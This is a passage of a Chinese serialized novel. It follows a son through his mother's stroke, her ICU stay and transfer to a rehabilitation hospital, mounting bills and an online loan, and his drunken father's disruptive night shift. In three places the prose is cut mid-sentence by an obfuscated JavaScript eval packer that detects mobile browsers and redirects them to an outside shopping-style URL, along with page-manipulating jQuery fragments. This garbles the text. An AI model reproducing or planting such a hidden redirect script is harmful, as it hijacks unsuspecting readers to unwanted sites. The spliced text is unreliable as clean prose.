探视有钟点,一天两回,一回半个钟头。进是进不去的,只能看门边墙上嵌着的一个小屏幕。屏幕不大,比老式电视机还小一圈,黑白影像,总滋啦着一层雪花,人影模糊糊的,不像直播,倒像在放一部年深月久、忘了情节的默片。 姚华头一天就找到了那个屏幕。在右下角标着“13”的方格里,他看见了母亲。张玉芬躺在靠窗的床上,头给纱布裹得严严实实,只露出眼睛、鼻子和嘴的轮廓。在黑白画面里,纱布白得扎眼,衬得露出的皮肤木木的,了无生气。她一动不动,像件被暂时存放起来的物件,包裹得很是仔细。 护士推门出来,递给他一沓纸,纸还带着打印机的余温。“家属,签字。” 姚华接过来。病危通知,手术知情,费用告知……一张压着一张。他找笔,笔从汗湿的手里滑出去,掉在地上,笔帽磕出一道缝。 “这儿,名字,日期。”护士的手指干脆地戳在纸面上。 姚华弯腰签。自己的名字写得歪歪扭扭,没半点力气。签完一张,护士抽走,底下又冒出一张。“医保不报的药,效果好点,价儿也高。用不用?” 姚华盯着那几个冰凉的药名,喉咙发干。“用。” 字签完了,手里那沓纸换成了薄薄一张塑料探视证。他攥在手心,硬边硌得掌心生疼。 亲戚们是陆续来的,像听见了风声。二舅最先到,骑电动车,车筐里放着个不锈钢饭盒。他凑到屏幕前,眯着眼找了半天,才指着一处:“这……这是咱姐?”得了准信,他沉默了好一会儿,末了叹了口气:“包得都快认不出了。”饭盒里是熬得稀烂的小米粥,他说:“你妈醒了,好歹能顺点流食。” 三姨来时,提着塑料袋,里面装着苹果。她没看几眼屏幕,眼泪先下来了,拉着姚华的手:“我姐这命啊,苦瓤子……”哭了一阵,从袋底摸出个薄信封,不由分说塞进姚华外套口袋:“先拿着,救急。” 老姨带着刚上大学的儿子来了。年轻人站在ICU门口,手脚不知该往哪儿放,眼神里是对这沉重地界的陌生与局促。老姨问得细,出血多少,手术几成把握,会落下啥毛病。姚华把从医生那儿听来的几个词儿来回倒腾,干巴巴的,自己听着都空。老姨的儿子忽然低声冒出一句:“妈,我以后想学医。”老姨立刻瞪他一眼:“瞎说啥呢!”小伙子便闭了嘴,再不吭声。 日子开始被探视时间切成一段一段的。不探视的时候,姚华就坐在走廊那把冰凉的塑料椅上。他看其他家属,人人脸上都蒙着一层灰白的倦色。有人压着嗓子对电话哽咽:“……再凑凑,真见底了。”有人只是发呆,盯着地砖某一道缝,眼珠半晌不转一下。 医院每天打出一张长长的费用单。姚华找了个皱巴巴的本子,开始往上抄:床位费、监护费、吸氧费、注射费……更多是他根本看不明白的项目,后面跟着的数字,让他抄写的手指总要顿那么一顿。账本一页页翻过去,数字堆起来,像看不见的水,慢慢往上漫。 第五天,二舅又来了,这次端了碗蒸得极嫩的鸡蛋羹。“你妈就得意我做的这口,滑溜。”他说。姚华接过温热的饭盒,二舅看看他,又看看那扇门,声音压得更低:“钱上,要转不开,千万言语一声。骨头连着筋呢。” 姚华点点头,没吱声。言语?言语之后呢?他不敢往下想。 第七天夜里,姚华在椅子上打了个盹,梦见母亲喊他,声儿挺真。他一个激灵醒来,浑身冷汗。屏幕是黑的,走廊那头护士站的灯,白得惨淡。他站起来,腿有点麻,挪到那扇厚门前,侧耳听,只有仪器滴滴答答的声响,均匀地传出来,像是另一颗心在跳。 第八天上午,护士叫住正看单子的姚华:“十三床,醒了。” 脑子里嗡的一声,那些数字、账单、术语,哗啦一下全退远了。他几乎是扑到门边,又被规矩挡在外面。等探视的那俩钟头,长得像一个世纪被拉成了丝。 下午,他套上蓝隔离衣,戴好帽子口罩,头一回走进那个满是仪器低鸣和药水气的世界。母亲真的睁着眼,望着天花板。听见动静,她的眼珠很慢、很吃力地转过来,视线落到姚华脸上,停住。然后,她就开始拼命眨眼睛,一下,又一下。 姚华握住她露在被子外的手,凉,但有了点微弱的活气。“妈。”他叫了一声。 张玉芬的嘴唇哆嗦着,却发不出声音。只有喉咙里含糊的“嗬……嗬……”声。她的右半边脸仍不自然地松垮着,右眼也有些斜,但左眼是清亮的,死死盯住儿子,里面盛满了焦灼,还有更深的东西。 “阿姨现在还说不了话,得慢慢来。”护士在旁边轻声说。 张玉芬的嘴唇又动了,这次姚华看清了她的口型。他俯下身,把耳朵凑过去。 “……多……少……” 气若游丝,就两个字。 姚华愣了一下,明白了。他直起身,看着母亲的眼睛,尽量让声儿稳当:“没多少,妈,有医保呢。” 张玉芬看着他,左眼眨了一下,缓缓闭上。好像只为确认这个顶要紧的问题,就把刚攒起的那点力气,全用光了。 转到普通病房,是第十三天的事。三人间,张玉芬的床靠窗。窗外能望见环湖医院得名的那片水,在午后的日头下,泛着沉沉的、绿油油的光。 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119422|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正的难处,从这儿才刚开头。身体的难处,也是钱的难处。普通病房一天的费用是降了,可药费、检查费、康复费,一样样叠上去,依旧是沉甸甸的数目。更要紧的是,张玉芬的右半边身子像不是自家的了,胳膊抬不起,腿挪不动。康复师是个年轻姑娘,每天来帮她活动关节,教她重新学怎么使唤肌肉。 “阿姨,咱不急,慢慢来。今儿咱就让这根手指头,动那么一下,成不?”康复师的声儿很柔和。 张玉芬咬着牙,额头上青筋微凸,脸憋得通红。姚华在一旁看着,觉得母亲全部的念想都押在那只毫无知觉的右手上了。好久,那食指极轻微地、痉挛似地抖了一下。就这一下,张玉芬整个人像泄了气的皮球,瘫下去,额头上全是细密的冷汗。 第十五天,姚华去结从ICU转到普通病房的账。窗口里递出来的单子,打满了密麻麻的项目,末尾趴着一个数字。他拿着单子走到大厅角落,就着光,仔细数了数位数。 七万八千六百四十三块二毛七。 他拿着单据和银行卡,重新走回缴费窗口。队伍不长,前头的人也都捏着类似的单子,脸上是差不多的木然。轮到姚华,他把卡递进去。 “输密码。”窗口里的声音透过扩音器传出来,有点变调。 姚华低头,按了六位数。机器吱吱地响,吐出一条长长的凭条。他在商户联上签字,这回手很稳,名字写得工工整整。 回到病房,张玉芬睡着了。午后的阳光斜射进来,照在她花白的头发和深深浅浅的皱纹上,那些皱纹在光里显得格外清晰,像是被什么一遍遍犁过。纱布拆了,剃掉的头发长出青黑的茬子,伤口愈合后,留下暗红色的、弯弯曲曲的疤。 姚华在床边的凳子上坐下,没吵醒她。他看着母亲睡梦中还微微皱着的眉头,看着那只有些僵直地搭在被子外的手。十五天。十五天前,她还在为几毛钱的利和人掰扯,为一车书别淋了雨操心。十五天后,她躺在这儿,半边的天塌了,还背上了对这个家来说如山一般的债。 生活从不提前打招呼。它瞅准了,一拳撂倒你,然后站在边上,看你如何吭哧吭哧地从坑里往外爬,带着一身泥,继续往前挪蹭。 窗外,环湖的水面让风吹起了褶子。更远的地方,城市的轮廓在薄雾里静静地站着。 张玉芬的眼皮动了动,慢慢睁开。她看见了坐在光影里的儿子,左眼的目光渐渐聚拢,然后,那只能动的左边嘴角,极其勉强地、费劲地向上扯动了一下。 那不算个笑,甚至有点歪。 但姚华看见了。他探过身,轻声说:“妈,明天我给你蒸鸡蛋羹,跟二舅讨教过了。” 张玉芬看着他,左眼又眨了一下,很慢,很沉。 这就行了。还能看见,还能听见,还能对明天存着点微末的念想。 这就行了。 16. 第十六章 雪球开始滚 有时候,姚华觉得生活像极了小时候那台破旧任天堂里的《雪山兄弟》。画面粗糙,音乐是单调又带点紧张的电子音。他和同学控制着两个小人,在皑皑雪地里,推动一个个小雪球。雪球起初只有拳头大,骨碌碌地滚着,粘上路上的雪粒,粘上那些蹦蹦跳跳的小怪物,越滚越大,越滚越快,最后变成一个庞然大物,轰隆隆地碾过屏幕,清除一切障碍,带来短暂的畅快和分数。那时候,滚雪球是武器,是力量,是通关的指望。 可现在,当他翻开从母亲张玉芬枕头底下摸出来的那个硬壳账本时,脑子里那熟悉的8-bit音乐,却变成了无声的轰鸣。账本塑料皮磨得四个角发了白,像人老了以后的牙口。他翻开,头一页是二〇〇五年三月。字一笔一画,横竖撇捺,规规矩矩,像个刚上学怕挨手板的孩子。 “三月十五日,进《五年高考》二十本,每本十八元,共三百六十元。(赊账,月底还)” “三月十六日,卖出五本,每本二十五元,收一百二十五元。还批发市场老刘六十元,剩六十五元。” “三月十七日,城管查,罚款五十元。书被收走三本。(求了半天情,没用)” 纸页哗哗地翻过,像游戏里一关一关地跳。中间的颜色深了,黄渍渍的,像腌过的咸菜叶子。日子长了,连数字都透着一股疲惫。 “九月十日,给华子生活费,一千五百元。他说同学都有笔记本电脑。没应。” “九月二十八日,交房租,八百元。房东说下月还要涨……” “十月五日,姚建国来,要五百元。说是应酬。吵了一架,给了三百。记账:姚建国要钱,五百(欠二百)。” 那“要钱”两个字,墨水吃进纸里,力透纸背,最后一笔拖得老长,像一声叹不完的气,也像游戏里雪球碾过后留下的一道沉重轨迹。 翻到最近,纸薄了,字轻了,小心翼翼。 “八日,早四点起,蹬车去南头批发市场,路黑,摔了一跤,膝盖破皮。进《黄冈密卷》三十本,每本二十二元,共六百六十元。(现钱不够,欠一百,说好卖完还)” “八日,午饭:兜里俩馒头,就点自家腌萝卜干。公厕门口喝凉水。共一元五角。(馒头昨天剩的,有点硬)” 最底下,空了一大块,才另起一行,字迹歪斜: “存款:21743.6元(定期两万,活期一千七百四十三块六)” 姚华盯着那数字,看了足足一根烟的功夫。两万一千七百四十三块六毛。这不是游戏里不断累加的、令人兴奋的分数。这是母亲十几年,用那辆除了铃不响哪都响的三轮车,用夏天汗湿出白碱的衣裳,用冬天冻得肿亮的手指头,用一次次被城管撵着跑的惊慌,用饭桌上永恒不变的咸菜疙瘩,一点一点,像在最初空旷的雪地上,用最微小的力气,开始推动的那个雪球。 滚了这么久,滚进去了那么多日夜、汗水、尊严和叹息,最后停在纸上的,就这么个冰凉的、坚硬的雪球芯儿。 而现在,这个雪球,就要被投进一个名叫“医院”的、深不见底的雪道里。 护工是第三天头上来的,姓王,自称王姐,河北沧州口音。人精瘦,眼珠子活,一进门先不是看病人,是拿眼风扫了一圈病房,又上下刮了姚华一遍,像估量一件旧家具的价钱。 “哎哟,这屋朝北,阴冷。”她说着,走到床边,一把掀开被子,手法熟稔得像掀自家锅盖。“可得勤翻身,两小时一回,雷打不动。你看这皮肉,已经开始泛红了,再不勤弄,褥疮说来就来,那可就费大钱了。” 姚华忙凑过去:“是,您多费心。夜里……” “夜里?”王姐打断他,嘴角往下一撇,似笑非笑,“夜里我咋整?我是神仙不睡觉?定闹钟呗。干我们这行,吃的就是熬夜的饭。一天两百块,”她特意顿了顿,瞥一眼姚华身上那件洗得发白的夹克,“现在这钱啊,不经花。我上个东家,一天二百五,还管两顿好饭呢。你这儿,唉,看着也不容易。” 姚华脸上热了一下,没接话茬。二百。他心里那算盘噼里啪啦响:一天二百,十天两千,一个月六千。这还不算那吞金的药。 药是洋名字,绕口。医生说话快,像背书:“进口的,效果好,副作用小。就是贵,一针八百,一天两针,全自费。先用十四天看看。” 姚华脑子里“嗡”一声。他掏出手机,手指有点僵,按:八百乘以二,一千六;再乘以十四……屏幕上的数字跳出来:22400。再加上王姐的工钱、这床位的钱、杂七杂八像雪花一样的单子……他闷头按了半天,最后那个数字跳出来:51287。 雪球还没开始滚,已经比他人都高了。 他逃也似的走到楼梯间,摸出烟。烟是最便宜的那种,烟盒都揉皱了。点着了,狠狠吸一口,那烟辣得像刀子,从喉咙一直划到肺里,呛得他弯下腰,咳得撕心裂肺,眼泪鼻涕一齐下来。咳完了,他看着水泥地上自己抖落的烟灰,想起了手机里那个蓝色的图标。 借呗。额度四万。以前他觉得这数字像个虚幻的泡影,现在成了救命稻草。点开,拍照,刷脸……过程简单得让人心慌。“叮”一声,钱到了。四万块,分成十二期,每期三千六百五十三块七毛五。他看着还款计划表,那一个个数字连起来,像一条冰冷的铁链,要锁住他未来一整年。这就像滚雪球,他想,起初只是指甲盖大一点冰碴,你顺着生活的陡坡往下推,它一路沾裹上房租、药费、父亲的酒钱、经理的脸色……越滚越大,越滚越急,最后轰隆一声,把自己砸在底下,压成一张薄薄的饼。 可他手指头还是戳了下去,点了“确认”。戳得有点重,屏幕都响了一声。 钱到了。加上从二舅、三姨、老姨那儿,陪着笑脸,听着数落,像挤快用完的牙膏皮一样挤出来的八千;再加上母亲那两万一千多,定期还没到期,提前取出来,利息损失了好几百——所有这些零零碎碎,终于暂时填上了那个窟窿的眼。 那天晚上,他坐在电脑前,屏幕的光映着他发青的脸。那封辞职信,写了好几个晚上,文采斐然,畅谈理想,憧憬未来,像个浪漫主义的宣言。他盯着看了半晌,然后移动光标,选中,删除。字是一个一个没的,悄无声息,像雪落在烧红的铁板上,“刺啦”一下,就只剩一缕白气。 第二天,公司的戴经理召见他。 “姚华啊,”戴经理用钢笔帽一下下点着桌面,那声音不大,却敲得人心慌,“最近你这状态,堪忧啊。” “经理,家里母亲病重,实在……” “困难,谁家没点困难?”戴经理抬起手,止住他话头,身子往后一仰,椅背发出不堪重负的呻吟。“公司体谅员工,但也不能无限度体谅。你这个岗位,一个萝卜一个坑,你总不在,坑就荒了。这个季度考评,”他拖长了调子,“你是知道的。” “我尽快调整,工作绝不耽误。” “调整?”戴经理从鼻子里哼出一声,似笑非笑,“我给你三天时间,把家事捋顺。三天后,我要看见你全须全尾、精神饱满地坐在这儿。不然,我也很难向上头交代。你也知道咱们老板是韩国人,那个老金抠得要死,是吧?” “谢谢经理,我一定。” 走出那间空调开得太足的办公室,姚华觉得背上出了一层粘汗,外套贴在身上,冰凉。三天。七十二小时。之后,他就得回来,把自己焊在那个工位上。他需要那份工资,去喂那个叫“借呗”的怪兽,去支付王姐那双麻利的手,去换来那一小瓶比金子还贵的药水。 可夜里怎么办?王姐说得明白:“我只能干白天,晚上我得回去,家里一摊子事呢。”话说得在理,钱只买到她白天的时间。 他脑子里像走马灯,转来转去,最后总停在一张醉醺醺、皱巴巴的脸上。那个他血液里有一半来自、却最想割断联系的人。 姚建国独自窝在中环线外一个叫盐坨村的地方。那地方早被规划图遗忘了,像个时代的阑尾。姚华傍晚蹬着共享单车找去,穿过迷宫一样的窄巷,两边是摞到天上的破烂和嗡嗡飞的苍蝇,空气稠得能捞出酱油来。找到那扇门,门上的春联还是去年的,褪成了惨白。里头电视声炸耳朵,又是《还珠格格》,听动静是该紫薇瞎眼那段,哭哭啼啼。 他敲了门。敲到第三遍,里头才骂骂咧咧有了动静。门拉开一条缝,姚建国探出半张浮肿的脸,眼皮耷拉着,手里攥着个扁瓶的二锅头,还剩小半。 “谁啊……哦,你。”他眯着眼辨认了一下,没开门的意思,“太阳打西边出来了?” “爸,找您有事。” “你能有啥好事找我?”姚建国抿了口酒,咂摸一下,“进来吧,门口站着像讨债的。” 屋里比外头还乱,一股隔夜饭菜混合着劣质酒精的浑浊气味。电视机声音大得吓人。姚华站着没坐,凳子油乎乎的。 “我妈住院了,现在转到普通病房,但晚上离不开人。想请您……去帮忙看几个晚上。” 姚建国眼睛盯着电视屏幕,紫薇正摸着空气喊“尔康”。他含糊地应:“医院?不去。那地方晦气。再说,我能看啥?我又不是大夫。” “不用您干嘛,就守着。看着点滴别打完,喂点水,护士叫铃在那儿。” “我不会弄那些玩意儿,滴里嗒啷的。” “很简单,我教您。” 姚建国不说话了,仰脖子把剩下的酒底倒进嘴里,喉结剧烈地滚动。沉默了有一集电视剧那么长,他才像吃了天大亏似的,从牙缝里挤出两个字:“……行吧。啥时候?” “今晚。” “今晚?!”姚建国声音拔高了,“你当我是骡子,套上就能拉磨?我这儿……我这儿还有事呢!” “就几个晚上,白天我换您。实在找不到人了。”姚华声音干巴巴的。 姚建国瞪着他,又看看空酒瓶,最后重重叹出一口带着浓郁酒糟味的气:“唉!我这辈子,真是欠你们娘俩的!……等着,我穿件衣裳。” 晚上八点多,姚建国磨蹭到了医院。还是那件油光可鉴的旧夹克,袖口脱线,像流苏。手里提着个超市最大号的红色塑料袋,鼓鼓囊囊,哐当乱响。 王姐正在给张玉芬按摩小腿,抬眼一瞅,手上动作没停,嘴皮子动了:“哟,这就是晚上换班的家属?大哥,夜班可不好熬啊。喏,翻身两小时一次,记着点儿。喂水用这个带刻度的杯子,一次不超过二十毫升。尿袋满了这个位置会鼓起来,别硬憋着,叫护士。还有啊,”她眼神往塑料袋上一瞟,似笑非笑,“医院有规定,病房里不能抽烟喝酒。味儿大,别的病人受不了,护士长看见了也得说。” 姚建国“嗯啊”地应着,眼睛东张西望,心神不属。 “爸,王姐说的都记住了?”姚华问。 “记住了记住了,”姚建国摆摆手,有点不耐烦,“不就是坐着嘛,还能比干活累?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119423|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,自顾自把塑料袋放到床边小柜子底下,发出玻璃瓶碰撞的闷响。 姚华走了,脚步发飘。他得回去,哪怕在床上躺两个小时,也是好的。 夜里两点刚过,手机像着了火似的震动起来。是护士站打来的,一个小姑娘的声音又急又气:“姚先生!您快来医院!您父亲在病房里喝酒,声音很大,同病房家属已经投诉到值班医生那里了!” 姚华脑子“嗡”一声,套上衣服就往外冲。深夜的医院走廊,灯光白得瘆人。老远就听见一个女声在高声理论。走到近前,只见姚建国蹲在消防栓旁边,脸红得像猪肝,脚边滚着那个熟悉的二锅头空瓶。隔壁床那位白天就不太高兴的中年妇女,此刻披着外套,指着姚建国的鼻子,气得浑身发抖: “你们讲不讲道理?!有没有一点公德心?!这是病房!是病人休息的地方!你在这儿酗酒!还……还唱什么‘妹妹你坐船头’!你让我妈怎么休息?她刚做完手术!” 姚建国抬起朦胧的醉眼,舌头打结:“我……我喝点酒,解解乏……长夜漫漫,无心睡眠……” “你睡不着就能吵别人?满屋子都是酒臭味!护士!护士你们管不管?!” 姚华赶紧插进去,挡在两人中间,不住地鞠躬道歉:“对不起对不起,大姐,真对不起,是我没安排好,我爸他……我这就让他走。”他一把拽起姚建国,姚建国身子软绵绵的,差点带倒他。 拉到楼梯间,姚华压着火:“爸!您怎么又这样?!不是答应得好好的吗?!” “冷啊!”姚建国靠着墙,滑坐到地上,声音比他还委屈,“这鬼地方,阴风阵阵,被子薄得跟纱似的!我喝两口暖暖身子,怎么了?我碍着谁了?我又没碰你妈一根手指头!” “这是医院!不能喝酒!影响别人!” “我在卫生间喝的!关着门呢!谁知道那门缝不严实……”姚建国嘟囔着,把头扭向一边。 姚华看着他,看着这个瘫坐在冰凉地上、浑身酒气、满脸“全世界都对不起我”神情的父亲,那股熟悉的、深入骨髓的疲惫再次淹没了他。连愤怒都提不起来了,只剩下麻木。 “……您回去吧。”姚华说,声音空空的。 “那我明晚还来不?”姚建国仰起头,竟然还带着一丝询问。 “明晚……再说吧。” 姚建国扶着墙,晃晃悠悠地走了,脚步声在空旷的楼梯间回荡,慢慢消失。姚华回到病房,对着那位余怒未消的家属,又深深地、几乎弯成九十度地鞠了一躬。帘子后面,传来一声极重的、带着厌弃的“哼”声。 他在母亲床边慢慢坐下。张玉芬不知何时醒了,眼珠缓缓转向他,浑浊的目光里,有什么东西微微闪动。 “妈,没事,睡吧。”姚华握住她枯瘦的手,声音轻得像耳语。 张玉芬极慢地眨了一下眼,又合上了。一滴浑浊的泪,从眼角细细的皱纹里,悄无声息地渗出来。 后半夜,姚华自己来。给母亲翻身,他手忙脚乱,角度不对,差点让母亲栽下床。喂水,手抖得厉害,水从吸管边漏出来,打湿了衣领。尿袋满了,他盯着那个鼓起的袋子,做了半天心理建设,才蹭到护士站。值夜班的小护士正托着腮打盹,被他轻声叫醒,脸上带着被打扰的不快,但还是跟着来了。 手脚麻利地换好袋子,小护士看了看姚华熬得通红的眼和笨拙的样子,语气软了点:“第一次照顾?” “嗯。” “不容易。”小护士顿了顿,看了眼安静躺着的张玉芬,又看了眼姚华,“不过,比有些强。至少真上心。慢慢学吧。” 她走了,脚步声在走廊里渐行渐远。 凌晨四点左右,世界静得像坟墓。姚华累得脱了力,歪在冰冷的塑料椅上,眼皮沉得抬不起来。恍惚间,他梦见自己在一个无边无际的、白茫茫的雪原上,推着一个巨大的雪球。雪球起初只有拳头大,但一路粘走他的时间、精力、尊严、那封被删除的辞职信、戴经理敲桌子的声音、王姐瞥向他旧夹克的眼神、父亲酒瓶的碰撞声、药费单上令人眩晕的数字……雪球越滚越大,大得像座山,轰鸣着,以不可阻挡之势朝他碾压过来。他转身想跑,双脚却深陷雪中,动弹不得。他张嘴想喊,冷冽的雪沫猛地灌满他的口腔…… 他浑身一颤,惊醒过来。 窗外,夜色浓稠如墨,化不开。病房里,只有监护仪器发出规律而冷漠的“嘀——嘀——”声,和他自己粗重未平的喘息。 他看着母亲在昏黄夜灯下凹陷灰暗的脸颊,看着窗外那片吞噬一切的无边黑暗。 雪球已经滚起来了。 它由母亲账本上密密麻麻的数字凝结而成,由借款分期表上冰冷的条目加固,由每一瓶天价药水浇铸,由父亲那永远散不去的酒气缠绕,由上司不耐烦的敲击声催动,由护工那似同情又似评估的目光润滑……它沿着生活的陡坡,轰然加速,越滚越快,越滚越重,裹挟着一切,包括他自己。 他就在这雪球的核心,被紧紧包裹着,身不由己,跟着它一起下坠,滚动。 不能停。他知道,一旦停下,瞬间就会被自身重量压垮,碾碎成粉末,无声无息,就像从未存在过。 他还不想被碾碎。 至少此刻,在这漫漫长夜将尽未尽的时分,他只能咬紧牙关,绷紧全身每一寸肌肉和神经,跟着这越来越庞大、越来越冰冷的雪球。 一起,往下滚。 17. 第十七章 中转站的等待 环湖医院的护士来催床位,手里夹板的边角磨得油亮。她不敲栏杆了,改用手关节叩,铁管闷响两声。她说:“十三床,今天得出。” 姚华正给母亲喂米糊。米糊是昨晚剩的,兑了热水,搅了搅。勺子悬在半空,他问:“前天不还说能再住两天?” 护士眼皮没抬:“新来了脑出血的,比你们重。你们这情况,该去康复医院了。”“该”字说得脆,像盖章。 张玉芬在病床上眨眨眼。姚华凑近,听见她说:“走……走吧。” 东西不多,一个行李袋,还是当年打工发的,印着“中亚数据”,字褪色了,边也开线了。姚华去借轮椅,护工站的阿姨从一堆里扒拉,扒拉出一辆,轮子有点歪。她说:“就这个了,好的都出去了。”又说:“这层楼,好的东西都留不住。” 姚华试了试,能走,咯吱咯吱响,像人叹气。他把母亲抱上轮椅,张玉芬轻得像一捆晒透的秸秆。头歪在他肩上,口水流下来,湿了一片汗衫。汗衫是地摊买的,十块钱三件。 “妈,咱走了。” 从环湖医院到康复医院,三条街。不远,但推着歪轮子的轮椅,姚华觉得像推一座山。早晨的太阳刚冒头,照脸上暖,风吹过来却是割的。第一条街是菜市场,摊子刚摆出来,青菜洒了水,鲜亮。卖豆腐的大妈喊:“豆腐脑!热乎的!”嗓子敞亮,能劈开风。 姚华推着轮椅过,张玉芬头歪着,眼盯着豆腐脑。嘴唇动了动,没声,姚华看懂了。他停下,问:“想吃?”张玉芬眨眨眼。 一碗豆腐脑,两块五。大妈舀得满,白花花的,浇了褐色的卤,撒了香菜末。姚华蹲下,一勺一勺喂。张玉芬吃得慢,一勺要含半天。卤汁从嘴角流出来,姚华用袖子擦——袖子本来就是脏的。 大妈问:“你妈这是……”姚华说:“脑出血。”大妈“哎哟”一声,摇摇头,不说话了。那声“哎哟”里,有可怜,也有庆幸,庆幸不是自己。 吃完继续走。第二条街是学校街,路边小饭馆冒热气。学生背书包,打打闹闹。有个男孩蹲地上哭,一边哭一边喊:“我不上学!就不上!”他妈妈拽他胳膊:“不上学干啥?捡破烂?”男孩喊:“捡破烂就捡破烂!”“捡破烂也得认字!不认字破烂都捡不着!” 姚华推轮椅经过。张玉芬的眼跟着那对母子转,转到头了,还转,像生锈的门轴,吱呀吱呀,转不回原位。 第三条街安静,两边老小区,槐树叶子黄透了,风一吹,哗啦啦掉,铺一地。几个老头在树下下棋,为一步棋吵。 “你这马别腿了!” “谁别腿了?你眼瘸?” “你才眼瘸!” 轮椅咯吱咯吱响过去,老头们抬了下头,又低下去。他们的争吵比姚华的脚步响。 康复医院是栋五层楼,外墙瓷砖掉了一半,露出的水泥面黑乎乎的,像补丁。门口排着队,都是推轮椅的、扶拐杖的。有个老太太坐轮椅上哭,哭得声哑:“我不进去!死也不进去!”她儿子蹲旁边,声更低:“妈,进去才能好。”“好个屁!进去就出不来了!” 姚华推母亲排最后。前面七八个人,都和他一样,脸上没什么表情,只是累。 排了半个多钟头,轮到。窗口里坐个胖女人,眼盯电脑屏,问:“叫什么?”“张玉芬。”“年龄?”“五十八。”“什么病?”“脑出血,术后。”胖女人敲键盘,敲得啪啪响,像放小鞭炮。她说:“床位紧张,先住走廊加床。” 姚华愣了:“走廊?这天冷……” 胖女人抬头,看他一眼:“爱住不住。后面还有人。” 姚华咬了咬牙:“住。” 手续办完,推母亲进病房楼。一进去,姚华就懵了——走廊里摆满了床,一张挨一张,像火车硬卧,还是慢车那种。床上都躺着人,有的输液,有的吸氧,有的就那么躺着,眼瞪着天花板,天花板上有灰网,一缕一缕挂着。 护士带他们到一张床前,床在走廊尽头,靠窗户。窗户关不严,漏风,用报纸塞着,报纸泛黄。护士说:“就这儿。每天床位费八十,比病房便宜四十。” 姚华把母亲抱上床。床垫薄,能感到下面木板条,一根一根,硌人。张玉芬躺下,眼看天花板,天花板上的霉斑像他们老家的地图——盐坨村就在地图边上,一个小霉点。 隔壁床是个老爷子,看起来八十多了。他女儿正给他喂饭,不是用勺,是用针管,把糊糊吸进去,再慢慢推进胃管。老爷子不张嘴,女儿就捏他鼻子,等他张嘴了,赶紧打一针管进去。 “爸,您得吃啊。”女儿说。 老爷子摇头,含含糊糊说:“死……让我死……” “又说这个!”女儿哭了,“您死了我咋办?” “你……轻松……” “轻松个屁!”女儿哭得更凶,眼泪掉进糊糊里,“您死了我也得活着,活着就得挣钱,挣钱还房贷……一个月三千八,还得供孩子……” 老爷子不说话了,闭上眼睛。 姚华看得心里发紧。他拿出带来的米糊,也开始喂母亲。张玉芬吃得比老爷子乖,一口一口,虽然慢,但张嘴。喂到一半,隔壁床女儿凑过来,眼还红着:“你们新来的?” “嗯。” “什么病?” “脑出血。” “哦……”她点点头,“我爸是脑梗,三年了。前两年还能走,今年不行了,躺床上了。”她说得像说“今天白菜三毛一斤”。 姚华不知该说什么。 “慢慢熬吧。”她说,“这地方,进来就别想好好出去。”顿了顿,又说:“能出去,也是横着出去。” 第一天晚上,姚华睡走廊塑料椅上。椅子硬,硌得骨头疼。他睡不着,看走廊里的灯。灯是长明灯,白惨惨的,照得所有人的脸都像褪了色的照片。夜里两点,隔壁老爷子突然哭起来,不是大哭,是从喉咙深处挤出来的呜咽,像受伤的狗,又像漏风的窗户。 他女儿醒了,爬起来给他翻身。翻身的时候,老爷子喊:“疼!疼!” “疼也得翻。”女儿说,“不翻长褥疮,更疼。” 翻完身,老爷子不哭了,开始咳嗽。咳得撕心裂肺,咳得整个走廊都听得见。护士来了,看一眼,说:“没事,痰多,正常。”说完就走,脚步声在空走廊里响。 姚华躺椅子上,睁眼到天亮。天蒙蒙亮时,他做了个梦。梦见盐坨桥,桥下水浑黄,岸边堆着盐坨,白花花一片。母亲还年轻,在河边洗衣服,棒槌敲得啪啪响。他在桥上跑,跑着跑着,桥塌了,他掉下去,掉进水里,水是咸的,像眼泪。 第二天,他开始学东西。学注射流食——把营养粉调成糊,装进针管,慢慢推进胃管。第一次做,手抖,推快了,张玉芬呛了一下,脸憋得通红。护士骂他:“慢点!想呛死你妈?”姚华不敢回嘴,低头重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119424|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做。营养粉是便宜的那种,结块,得使劲搅。 学处理褥疮——张玉芬尾骨那里红了一片。护士教他用软枕垫,教他涂药膏。药膏是医院自制的,白色的,涂上去凉凉的,像涂了一层薄霜。“两小时翻一次身。”护士说,“夜里也得翻。”“夜里……我睡着了怎么办?”“定闹钟。要不就雇护工,护工夜里加一百。”姚华没说话。他定闹钟,两小时一次。闹钟是旧手机,屏裂了,但还能响。 